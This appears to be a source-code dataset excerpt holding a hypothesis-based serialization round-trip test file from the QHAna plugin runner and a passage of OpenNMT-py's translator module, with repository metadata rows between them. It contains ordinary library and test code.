field=models.BooleanField(default=True),
),
]
| true | true |
f7f34f3558c5a32eb97cfa6cf1e7f76c8324675d | 9,537 | py | Python | tests/test_entity_attributes.py | AathmanT/qhana-plugin-runner | 206f9fa646e5b47bacf95a3b9be7e2b72576c9f1 | [
"Apache-2.0"
] | null | null | null | tests/test_entity_attributes.py | AathmanT/qhana-plugin-runner | 206f9fa646e5b47bacf95a3b9be7e2b72576c9f1 | [
"Apache-2.0"
] | 1 | 2021-09-02T07:56:23.000Z | 2021-09-03T11:46:41.000Z | tests/test_entity_attributes.py | AathmanT/qhana-plugin-runner | 206f9fa646e5b47bacf95a3b9be7e2b72576c9f1 | [
"Apache-2.0"
] | 2 | 2021-10-12T13:50:57.000Z | 2022-03-27T12:12:23.000Z | # Copyright 2021 QHAna plugin runner contributors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for the attributes module of the plugin_utils."""
from collections import namedtuple
from hypothesis import given
from hypothesis import strategies as st
from test_entity_marshalling import (
CSV_UNSAFE_CHARACTERS,
DEFAULT_ATTRIBUTES,
DEFAULT_ENTITY_STRATEGY,
DEFAULT_ENTITY_TUPLE,
DEFAULT_ENTITY_TUPLE_STRATEGY,
)
from utils import assert_sequence_equals, assert_sequence_partial_equals
from qhana_plugin_runner.plugin_utils.attributes import (
AttributeMetadata,
dict_deserializer,
dict_serializer,
parse_attribute_metadata,
tuple_deserializer,
tuple_serializer,
)
from qhana_plugin_runner.plugin_utils.entity_marshalling import ensure_dict
ATTR_METADATA_TUPLE = namedtuple(
"AttributeMetadataTuple",
[
"ID",
"type",
"title",
"description",
"multiple",
"ordered",
"separator",
"refTarget",
"schema",
],
)
DEFAULT_ATTR_METADATA = [
ATTR_METADATA_TUPLE("ID", "string", "Entity ID", "", False, False, ";", None, None),
ATTR_METADATA_TUPLE(
"href", "string", "Entity URL", "", False, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"integer", "integer", "Integer Attribute", "", False, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"number", "double", "Number Attribute", "", False, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"boolean", "boolean", "Boolean Attribute", "", False, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"str_list", "string", "String List Attribute", "", True, True, ";", None, None
),
ATTR_METADATA_TUPLE(
"integer_list",
"integer",
"Integer List Attribute",
"",
True,
True,
";",
None,
None,
),
ATTR_METADATA_TUPLE(
"number_list", "double", "Number List Attribute", "", True, True, ";", None, None
),
ATTR_METADATA_TUPLE(
"boolean_list",
"boolean",
"Boolean List Attribute",
"",
True,
True,
";",
None,
None,
),
ATTR_METADATA_TUPLE(
"str_set", "string", "String Set Attribute", "", True, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"integer_set",
"integer",
"Integer Set Attribute",
"",
True,
False,
";",
None,
None,
),
ATTR_METADATA_TUPLE(
"number_set", "double", "Number Set Attribute", "", True, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"boolean_set",
"boolean",
"Boolean Set Attribute",
"",
True,
False,
";",
None,
None,
),
]
@given(entities=st.lists(DEFAULT_ENTITY_TUPLE_STRATEGY))
def test_tuple_serialization_roundtrip(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
# serialize
serialize = tuple_serializer(
DEFAULT_ATTRIBUTES, attr_metadata, tuple_=DEFAULT_ENTITY_TUPLE._make
)
serialized_entities = list(serialize(entity) for entity in entities)
assert_sequence_partial_equals(
expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"]
)
# assert all serialized
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
# deserialize
deserialize = tuple_deserializer(
DEFAULT_ATTRIBUTES, attr_metadata, tuple_=DEFAULT_ENTITY_TUPLE._make
)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
@given(entities=st.lists(DEFAULT_ENTITY_STRATEGY))
def test_dict_serialization_roundtrip(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
# serialize
serialize = dict_serializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=False)
serialized_entities = list(serialize(entity) for entity in entities)
assert_sequence_partial_equals(
expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"]
)
# assert all serialized
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
# deserialize
deserialize = dict_deserializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=False)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
@given(entities=st.lists(DEFAULT_ENTITY_STRATEGY))
def test_dict_serialization_roundtrip_in_place(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
# serialize
serialize = dict_serializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=True)
serialized_entities = list(serialize(dict(entity)) for entity in entities)
assert_sequence_partial_equals(
expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"]
)
# assert all serialized
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
# deserialize
deserialize = dict_deserializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=True)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
LIST_ENTITY_ATTRIBUTES = ["ID", "str_list", "integer_list", "number_list", "boolean_list"]
LIST_ENTITY_STRATEGY = st.fixed_dictionaries(
{
"ID": st.text(st.characters(blacklist_characters=CSV_UNSAFE_CHARACTERS)),
"str_list": st.lists(
st.text(st.characters(blacklist_characters=[";"]), min_size=1)
),
"integer_list": st.lists(st.integers()),
"number_list": st.lists(st.floats(allow_infinity=False, allow_nan=False)),
"boolean_list": st.lists(st.booleans()),
}
)
@given(entities=st.lists(LIST_ENTITY_STRATEGY))
def test_list_serialization_roundtrip(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
# serialize
serialize = dict_serializer(LIST_ENTITY_ATTRIBUTES, attr_metadata, in_place=False)
serialized_entities = list(serialize(entity) for entity in entities)
assert_sequence_partial_equals(
expected=entities,
actual=serialized_entities,
attributes_to_test=[
"ID",
],
)
# assert all serialized
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
# deserialize
deserialize = dict_deserializer(LIST_ENTITY_ATTRIBUTES, attr_metadata, in_place=False)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
SET_ENTITY_ATTRIBUTES = ["ID", "str_set", "integer_set", "number_set", "boolean_set"]
SET_ENTITY_STRATEGY = st.fixed_dictionaries(
{
"ID": st.text(st.characters(blacklist_characters=CSV_UNSAFE_CHARACTERS)),
"str_set": st.sets(
st.text(st.characters(blacklist_characters=[";"]), min_size=1)
),
"integer_set": st.sets(st.integers()),
"number_set": st.sets(st.floats(allow_infinity=False, allow_nan=False)),
"boolean_set": st.sets(st.booleans()),
}
)
@given(entities=st.lists(SET_ENTITY_STRATEGY))
def test_set_serialization_roundtrip(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
# serialize
serialize = dict_serializer(SET_ENTITY_ATTRIBUTES, attr_metadata, in_place=False)
serialized_entities = list(serialize(entity) for entity in entities)
assert_sequence_partial_equals(
expected=entities,
actual=serialized_entities,
attributes_to_test=[
"ID",
],
)
# assert all serialized
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
# deserialize
deserialize = dict_deserializer(SET_ENTITY_ATTRIBUTES, attr_metadata, in_place=False)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
| 33 | 90 | 0.679983 |
from collections import namedtuple
from hypothesis import given
from hypothesis import strategies as st
from test_entity_marshalling import (
CSV_UNSAFE_CHARACTERS,
DEFAULT_ATTRIBUTES,
DEFAULT_ENTITY_STRATEGY,
DEFAULT_ENTITY_TUPLE,
DEFAULT_ENTITY_TUPLE_STRATEGY,
)
from utils import assert_sequence_equals, assert_sequence_partial_equals
from qhana_plugin_runner.plugin_utils.attributes import (
AttributeMetadata,
dict_deserializer,
dict_serializer,
parse_attribute_metadata,
tuple_deserializer,
tuple_serializer,
)
from qhana_plugin_runner.plugin_utils.entity_marshalling import ensure_dict
ATTR_METADATA_TUPLE = namedtuple(
"AttributeMetadataTuple",
[
"ID",
"type",
"title",
"description",
"multiple",
"ordered",
"separator",
"refTarget",
"schema",
],
)
DEFAULT_ATTR_METADATA = [
ATTR_METADATA_TUPLE("ID", "string", "Entity ID", "", False, False, ";", None, None),
ATTR_METADATA_TUPLE(
"href", "string", "Entity URL", "", False, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"integer", "integer", "Integer Attribute", "", False, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"number", "double", "Number Attribute", "", False, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"boolean", "boolean", "Boolean Attribute", "", False, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"str_list", "string", "String List Attribute", "", True, True, ";", None, None
),
ATTR_METADATA_TUPLE(
"integer_list",
"integer",
"Integer List Attribute",
"",
True,
True,
";",
None,
None,
),
ATTR_METADATA_TUPLE(
"number_list", "double", "Number List Attribute", "", True, True, ";", None, None
),
ATTR_METADATA_TUPLE(
"boolean_list",
"boolean",
"Boolean List Attribute",
"",
True,
True,
";",
None,
None,
),
ATTR_METADATA_TUPLE(
"str_set", "string", "String Set Attribute", "", True, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"integer_set",
"integer",
"Integer Set Attribute",
"",
True,
False,
";",
None,
None,
),
ATTR_METADATA_TUPLE(
"number_set", "double", "Number Set Attribute", "", True, False, ";", None, None
),
ATTR_METADATA_TUPLE(
"boolean_set",
"boolean",
"Boolean Set Attribute",
"",
True,
False,
";",
None,
None,
),
]
@given(entities=st.lists(DEFAULT_ENTITY_TUPLE_STRATEGY))
def test_tuple_serialization_roundtrip(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
serialize = tuple_serializer(
DEFAULT_ATTRIBUTES, attr_metadata, tuple_=DEFAULT_ENTITY_TUPLE._make
)
serialized_entities = list(serialize(entity) for entity in entities)
assert_sequence_partial_equals(
expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"]
)
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
deserialize = tuple_deserializer(
DEFAULT_ATTRIBUTES, attr_metadata, tuple_=DEFAULT_ENTITY_TUPLE._make
)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
@given(entities=st.lists(DEFAULT_ENTITY_STRATEGY))
def test_dict_serialization_roundtrip(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
serialize = dict_serializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=False)
serialized_entities = list(serialize(entity) for entity in entities)
assert_sequence_partial_equals(
expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"]
)
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
deserialize = dict_deserializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=False)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
@given(entities=st.lists(DEFAULT_ENTITY_STRATEGY))
def test_dict_serialization_roundtrip_in_place(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
serialize = dict_serializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=True)
serialized_entities = list(serialize(dict(entity)) for entity in entities)
assert_sequence_partial_equals(
expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"]
)
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
deserialize = dict_deserializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=True)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
LIST_ENTITY_ATTRIBUTES = ["ID", "str_list", "integer_list", "number_list", "boolean_list"]
LIST_ENTITY_STRATEGY = st.fixed_dictionaries(
{
"ID": st.text(st.characters(blacklist_characters=CSV_UNSAFE_CHARACTERS)),
"str_list": st.lists(
st.text(st.characters(blacklist_characters=[";"]), min_size=1)
),
"integer_list": st.lists(st.integers()),
"number_list": st.lists(st.floats(allow_infinity=False, allow_nan=False)),
"boolean_list": st.lists(st.booleans()),
}
)
@given(entities=st.lists(LIST_ENTITY_STRATEGY))
def test_list_serialization_roundtrip(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
serialize = dict_serializer(LIST_ENTITY_ATTRIBUTES, attr_metadata, in_place=False)
serialized_entities = list(serialize(entity) for entity in entities)
assert_sequence_partial_equals(
expected=entities,
actual=serialized_entities,
attributes_to_test=[
"ID",
],
)
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
deserialize = dict_deserializer(LIST_ENTITY_ATTRIBUTES, attr_metadata, in_place=False)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
SET_ENTITY_ATTRIBUTES = ["ID", "str_set", "integer_set", "number_set", "boolean_set"]
SET_ENTITY_STRATEGY = st.fixed_dictionaries(
{
"ID": st.text(st.characters(blacklist_characters=CSV_UNSAFE_CHARACTERS)),
"str_set": st.sets(
st.text(st.characters(blacklist_characters=[";"]), min_size=1)
),
"integer_set": st.sets(st.integers()),
"number_set": st.sets(st.floats(allow_infinity=False, allow_nan=False)),
"boolean_set": st.sets(st.booleans()),
}
)
@given(entities=st.lists(SET_ENTITY_STRATEGY))
def test_set_serialization_roundtrip(entities: list):
attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA))
serialize = dict_serializer(SET_ENTITY_ATTRIBUTES, attr_metadata, in_place=False)
serialized_entities = list(serialize(entity) for entity in entities)
assert_sequence_partial_equals(
expected=entities,
actual=serialized_entities,
attributes_to_test=[
"ID",
],
)
for ent in serialized_entities:
for value in ent:
assert isinstance(
value, str
), f"Value {value} of entity {ent} did not get serialized correctly!"
deserialize = dict_deserializer(SET_ENTITY_ATTRIBUTES, attr_metadata, in_place=False)
deserialized_entities = list(deserialize(entity) for entity in serialized_entities)
assert_sequence_equals(expected=entities, actual=deserialized_entities)
| true | true |
f7f34f360e2064b20af2f6704d7097a1290a98ba | 29,373 | py | Python | onmt/translate/translator.py | GarrettNicolai/OpenNMT-py | 9491d900ac1b50fe39da417bacc0b9d610331888 | [
"MIT"
] | null | null | null | onmt/translate/translator.py | GarrettNicolai/OpenNMT-py | 9491d900ac1b50fe39da417bacc0b9d610331888 | [
"MIT"
] | null | null | null | onmt/translate/translator.py | GarrettNicolai/OpenNMT-py | 9491d900ac1b50fe39da417bacc0b9d610331888 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
""" Translator Class and builder """
from __future__ import print_function
import codecs
import os
import time
import numpy as np
from itertools import count, zip_longest
import torch
import onmt.model_builder
import onmt.inputters as inputters
import onmt.decoders.ensemble
from onmt.translate.beam_search import BeamSearch
from onmt.translate.greedy_search import GreedySearch
from onmt.utils.misc import tile, set_random_seed, report_matrix
from onmt.utils.alignment import extract_alignment, build_align_pharaoh
from onmt.modules.copy_generator import collapse_copy_scores
def build_translator(opt, report_score=True, logger=None, out_file=None):
if out_file is None:
out_file = codecs.open(opt.output, 'w+', 'utf-8')
load_test_model = onmt.decoders.ensemble.load_test_model \
if len(opt.models) > 1 else onmt.model_builder.load_test_model
fields, model, model_opt = load_test_model(opt)
scorer = onmt.translate.GNMTGlobalScorer.from_opt(opt)
translator = Translator.from_opt(
model,
fields,
opt,
model_opt,
global_scorer=scorer,
out_file=out_file,
report_align=opt.report_align,
report_score=report_score,
logger=logger
)
model.decoder.set_eval_status(True)
return translator
def max_tok_len(new, count, sofar):
"""
In token batching scheme, the number of sequences is limited
such that the total number of src/tgt tokens (including padding)
in a batch <= batch_size
"""
# Maintains the longest src and tgt length in the current batch
global max_src_in_batch # this is a hack
# Reset current longest length at a new batch (count=1)
if count == 1:
max_src_in_batch = 0
# max_tgt_in_batch = 0
# Src: [<bos> w1 ... wN <eos>]
max_src_in_batch = max(max_src_in_batch, len(new.src[0]) + 2)
# Tgt: [w1 ... wM <eos>]
src_elements = count * max_src_in_batch
return src_elements
class Translator(object):
"""Translate a batch of sentences with a saved model.
Args:
model (onmt.modules.NMTModel): NMT model to use for translation
fields (dict[str, torchtext.data.Field]): A dict
mapping each side to its list of name-Field pairs.
src_reader (onmt.inputters.DataReaderBase): Source reader.
tgt_reader (onmt.inputters.TextDataReader): Target reader.
gpu (int): GPU device. Set to negative for no GPU.
n_best (int): How many beams to wait for.
min_length (int): See
:class:`onmt.translate.decode_strategy.DecodeStrategy`.
max_length (int): See
:class:`onmt.translate.decode_strategy.DecodeStrategy`.
beam_size (int): Number of beams.
random_sampling_topk (int): See
:class:`onmt.translate.greedy_search.GreedySearch`.
random_sampling_temp (int): See
:class:`onmt.translate.greedy_search.GreedySearch`.
stepwise_penalty (bool): Whether coverage penalty is applied every step
or not.
dump_beam (bool): Debugging option.
block_ngram_repeat (int): See
:class:`onmt.translate.decode_strategy.DecodeStrategy`.
ignore_when_blocking (set or frozenset): See
:class:`onmt.translate.decode_strategy.DecodeStrategy`.
replace_unk (bool): Replace unknown token.
data_type (str): Source data type.
verbose (bool): Print/log every translation.
report_time (bool): Print/log total time/frequency.
copy_attn (bool): Use copy attention.
global_scorer (onmt.translate.GNMTGlobalScorer): Translation
scoring/reranking object.
out_file (TextIO or codecs.StreamReaderWriter): Output file.
report_score (bool) : Whether to report scores
logger (logging.Logger or NoneType): Logger.
"""
def __init__(
self,
model,
fields,
src_reader,
tgt_reader,
gpu=-1,
n_best=1,
min_length=0,
max_length=100,
ratio=0.,
beam_size=30,
random_sampling_topk=1,
random_sampling_temp=1,
stepwise_penalty=None,
dump_beam=False,
block_ngram_repeat=0,
ignore_when_blocking=frozenset(),
replace_unk=False,
phrase_table="",
data_type="text",
verbose=False,
report_time=False,
copy_attn=False,
global_scorer=None,
out_file=None,
report_align=False,
report_score=True,
logger=None,
seed=-1):
self.model = model
self.fields = fields
tgt_field = dict(self.fields)["tgt"].base_field
self._tgt_vocab = tgt_field.vocab
self._tgt_eos_idx = self._tgt_vocab.stoi[tgt_field.eos_token]
self._tgt_pad_idx = self._tgt_vocab.stoi[tgt_field.pad_token]
self._tgt_bos_idx = self._tgt_vocab.stoi[tgt_field.init_token]
self._tgt_unk_idx = self._tgt_vocab.stoi[tgt_field.unk_token]
self._tgt_vocab_len = len(self._tgt_vocab)
self._gpu = gpu
self._use_cuda = gpu > -1
self._dev = torch.device("cuda", self._gpu) \
if self._use_cuda else torch.device("cpu")
self.n_best = n_best
self.max_length = max_length
self.beam_size = beam_size
self.random_sampling_temp = random_sampling_temp
self.sample_from_topk = random_sampling_topk
self.min_length = min_length
self.ratio = ratio
self.stepwise_penalty = stepwise_penalty
self.dump_beam = dump_beam
self.block_ngram_repeat = block_ngram_repeat
self.ignore_when_blocking = ignore_when_blocking
self._exclusion_idxs = {
self._tgt_vocab.stoi[t] for t in self.ignore_when_blocking}
self.src_reader = src_reader
self.tgt_reader = tgt_reader
self.replace_unk = replace_unk
if self.replace_unk and not self.model.decoder.attentional:
raise ValueError(
"replace_unk requires an attentional decoder.")
self.phrase_table = phrase_table
self.data_type = data_type
self.verbose = verbose
self.report_time = report_time
self.copy_attn = copy_attn
self.global_scorer = global_scorer
if self.global_scorer.has_cov_pen and \
not self.model.decoder.attentional:
raise ValueError(
"Coverage penalty requires an attentional decoder.")
self.out_file = out_file
self.report_align = report_align
self.report_score = report_score
self.logger = logger
self.use_filter_pred = False
self._filter_pred = None
# for debugging
self.beam_trace = self.dump_beam != ""
self.beam_accum = None
if self.beam_trace:
self.beam_accum = {
"predicted_ids": [],
"beam_parent_ids": [],
"scores": [],
"log_probs": []}
set_random_seed(seed, self._use_cuda)
@classmethod
def from_opt(
cls,
model,
fields,
opt,
model_opt,
global_scorer=None,
out_file=None,
report_align=False,
report_score=True,
logger=None):
"""Alternate constructor.
Args:
model (onmt.modules.NMTModel): See :func:`__init__()`.
fields (dict[str, torchtext.data.Field]): See
:func:`__init__()`.
opt (argparse.Namespace): Command line options
model_opt (argparse.Namespace): Command line options saved with
the model checkpoint.
global_scorer (onmt.translate.GNMTGlobalScorer): See
:func:`__init__()`..
out_file (TextIO or codecs.StreamReaderWriter): See
:func:`__init__()`.
report_align (bool) : See :func:`__init__()`.
report_score (bool) : See :func:`__init__()`.
logger (logging.Logger or NoneType): See :func:`__init__()`.
"""
src_reader = inputters.str2reader[opt.data_type].from_opt(opt)
tgt_reader = inputters.str2reader["text"].from_opt(opt)
return cls(
model,
fields,
src_reader,
tgt_reader,
gpu=opt.gpu,
n_best=opt.n_best,
min_length=opt.min_length,
max_length=opt.max_length,
ratio=opt.ratio,
beam_size=opt.beam_size,
random_sampling_topk=opt.random_sampling_topk,
random_sampling_temp=opt.random_sampling_temp,
stepwise_penalty=opt.stepwise_penalty,
dump_beam=opt.dump_beam,
block_ngram_repeat=opt.block_ngram_repeat,
ignore_when_blocking=set(opt.ignore_when_blocking),
replace_unk=opt.replace_unk,
phrase_table=opt.phrase_table,
data_type=opt.data_type,
verbose=opt.verbose,
report_time=opt.report_time,
copy_attn=model_opt.copy_attn,
global_scorer=global_scorer,
out_file=out_file,
report_align=report_align,
report_score=report_score,
logger=logger,
seed=opt.seed)
def _log(self, msg):
if self.logger:
self.logger.info(msg)
else:
print(msg)
def _gold_score(self, batch, memory_bank, src_lengths, src_vocabs,
use_src_map, enc_states, batch_size, src):
if "tgt" in batch.__dict__:
gs = self._score_target(
batch, memory_bank, src_lengths, src_vocabs,
batch.src_map if use_src_map else None)
self.model.decoder.init_state(src, memory_bank, enc_states)
else:
gs = [0] * batch_size
return gs
def translate(
self,
src,
tgt=None,
src_dir=None,
batch_size=None,
batch_type="sents",
attn_debug=False,
align_debug=False,
phrase_table=""):
"""Translate content of ``src`` and get gold scores from ``tgt``.
Args:
src: See :func:`self.src_reader.read()`.
tgt: See :func:`self.tgt_reader.read()`.
src_dir: See :func:`self.src_reader.read()` (only relevant
for certain types of data).
batch_size (int): size of examples per mini-batch
attn_debug (bool): enables the attention logging
align_debug (bool): enables the word alignment logging
Returns:
(`list`, `list`)
* all_scores is a list of `batch_size` lists of `n_best` scores
* all_predictions is a list of `batch_size` lists
of `n_best` predictions
"""
if batch_size is None:
raise ValueError("batch_size must be set")
src_data = {"reader": self.src_reader, "data": src, "dir": src_dir}
tgt_data = {"reader": self.tgt_reader, "data": tgt, "dir": None}
_readers, _data, _dir = inputters.Dataset.config(
[('src', src_data), ('tgt', tgt_data)])
data = inputters.Dataset(
self.fields, readers=_readers, data=_data, dirs=_dir,
sort_key=inputters.str2sortkey[self.data_type],
filter_pred=self._filter_pred
)
data_iter = inputters.OrderedIterator(
dataset=data,
device=self._dev,
batch_size=batch_size,
batch_size_fn=max_tok_len if batch_type == "tokens" else None,
train=False,
sort=False,
sort_within_batch=True,
shuffle=False
)
xlation_builder = onmt.translate.TranslationBuilder(
data, self.fields, self.n_best, self.replace_unk, tgt,
self.phrase_table
)
# Statistics
counter = count(1)
pred_score_total, pred_words_total = 0, 0
gold_score_total, gold_words_total = 0, 0
all_scores = []
all_predictions = []
start_time = time.time()
for batch in data_iter:
batch_data = self.translate_batch(
batch, data.src_vocabs, attn_debug
)
translations = xlation_builder.from_batch(batch_data)
for trans in translations:
all_scores += [trans.pred_scores[:self.n_best]]
pred_score_total += trans.pred_scores[0]
pred_words_total += len(trans.pred_sents[0])
if tgt is not None:
gold_score_total += trans.gold_score
gold_words_total += len(trans.gold_sent) + 1
n_best_preds = [" ".join(pred)
for pred in trans.pred_sents[:self.n_best]]
if self.report_align:
align_pharaohs = [build_align_pharaoh(align) for align
in trans.word_aligns[:self.n_best]]
n_best_preds_align = [" ".join(align) for align
in align_pharaohs]
n_best_preds = [pred + " ||| " + align
for pred, align in zip(
n_best_preds, n_best_preds_align)]
all_predictions += [n_best_preds]
self.out_file.write('\n'.join(n_best_preds) + '\n')
self.out_file.flush()
if self.verbose:
sent_number = next(counter)
output = trans.log(sent_number)
if self.logger:
self.logger.info(output)
else:
os.write(1, output.encode('utf-8'))
if attn_debug:
preds = trans.pred_sents[0]
preds.append('</s>')
attns = trans.attns[0].tolist()
if self.data_type == 'text':
srcs = trans.src_raw
else:
srcs = [str(item) for item in range(len(attns[0]))]
output = report_matrix(srcs, preds, attns)
if self.logger:
self.logger.info(output)
else:
os.write(1, output.encode('utf-8'))
if align_debug:
if trans.gold_sent is not None:
tgts = trans.gold_sent
else:
tgts = trans.pred_sents[0]
align = trans.word_aligns[0].tolist()
if self.data_type == 'text':
srcs = trans.src_raw
else:
srcs = [str(item) for item in range(len(align[0]))]
output = report_matrix(srcs, tgts, align)
if self.logger:
self.logger.info(output)
else:
os.write(1, output.encode('utf-8'))
end_time = time.time()
if self.report_score:
msg = self._report_score('PRED', pred_score_total,
pred_words_total)
self._log(msg)
if tgt is not None:
msg = self._report_score('GOLD', gold_score_total,
gold_words_total)
self._log(msg)
if self.report_time:
total_time = end_time - start_time
self._log("Total translation time (s): %f" % total_time)
self._log("Average translation time (s): %f" % (
total_time / len(all_predictions)))
self._log("Tokens per second: %f" % (
pred_words_total / total_time))
if self.dump_beam:
import json
json.dump(self.translator.beam_accum,
codecs.open(self.dump_beam, 'w', 'utf-8'))
return all_scores, all_predictions
def _align_pad_prediction(self, predictions, bos, pad):
"""
Padding predictions in batch and add BOS.
Args:
predictions (List[List[Tensor]]): `(batch, n_best,)`, for each src
sequence contain n_best tgt predictions all of which ended with
eos id.
bos (int): bos index to be used.
pad (int): pad index to be used.
Return:
batched_nbest_predict (torch.LongTensor): `(batch, n_best, tgt_l)`
"""
dtype, device = predictions[0][0].dtype, predictions[0][0].device
flatten_tgt = [best.tolist() for bests in predictions
for best in bests]
paded_tgt = torch.tensor(
list(zip_longest(*flatten_tgt, fillvalue=pad)),
dtype=dtype, device=device).T
bos_tensor = torch.full([paded_tgt.size(0), 1], bos,
dtype=dtype, device=device)
full_tgt = torch.cat((bos_tensor, paded_tgt), dim=-1)
batched_nbest_predict = full_tgt.view(
len(predictions), -1, full_tgt.size(-1)) # (batch, n_best, tgt_l)
return batched_nbest_predict
def _align_forward(self, batch, predictions):
"""
For a batch of input and its prediction, return a list of batch predict
alignment src indice Tensor in size ``(batch, n_best,)``.
"""
# (0) add BOS and padding to tgt prediction
if hasattr(batch, 'tgt'):
batch_tgt_idxs = batch.tgt.transpose(1, 2).transpose(0, 2)
else:
batch_tgt_idxs = self._align_pad_prediction(
predictions, bos=self._tgt_bos_idx, pad=self._tgt_pad_idx)
tgt_mask = (batch_tgt_idxs.eq(self._tgt_pad_idx) |
batch_tgt_idxs.eq(self._tgt_eos_idx) |
batch_tgt_idxs.eq(self._tgt_bos_idx))
n_best = batch_tgt_idxs.size(1)
# (1) Encoder forward.
src, enc_states, memory_bank, src_lengths = self._run_encoder(batch)
# (2) Repeat src objects `n_best` times.
# We use batch_size x n_best, get ``(src_len, batch * n_best, nfeat)``
src = tile(src, n_best, dim=1)
enc_states = tile(enc_states, n_best, dim=1)
if isinstance(memory_bank, tuple):
memory_bank = tuple(tile(x, n_best, dim=1) for x in memory_bank)
else:
memory_bank = tile(memory_bank, n_best, dim=1)
src_lengths = tile(src_lengths, n_best) # ``(batch * n_best,)``
# (3) Init decoder with n_best src,
self.model.decoder.init_state(src, memory_bank, enc_states)
# reshape tgt to ``(len, batch * n_best, nfeat)``
tgt = batch_tgt_idxs.view(-1, batch_tgt_idxs.size(-1)).T.unsqueeze(-1)
dec_in = tgt[:-1] # exclude last target from inputs
_, attns = self.model.decoder(
dec_in, memory_bank, memory_lengths=src_lengths, with_align=True)
alignment_attn = attns["align"] # ``(B, tgt_len-1, src_len)``
# masked_select
align_tgt_mask = tgt_mask.view(-1, tgt_mask.size(-1))
prediction_mask = align_tgt_mask[:, 1:] # exclude bos to match pred
# get aligned src id for each prediction's valid tgt tokens
alignement = extract_alignment(
alignment_attn, prediction_mask, src_lengths, n_best)
return alignement
def translate_batch(self, batch, src_vocabs, attn_debug):
#self.model.decoder.set_eval_status(True)
"""Translate a batch of sentences."""
with torch.no_grad():
if self.beam_size == 1:
decode_strategy = GreedySearch(
pad=self._tgt_pad_idx,
bos=self._tgt_bos_idx,
eos=self._tgt_eos_idx,
batch_size=batch.batch_size,
min_length=self.min_length, max_length=self.max_length,
block_ngram_repeat=self.block_ngram_repeat,
exclusion_tokens=self._exclusion_idxs,
return_attention=attn_debug or self.replace_unk,
sampling_temp=self.random_sampling_temp,
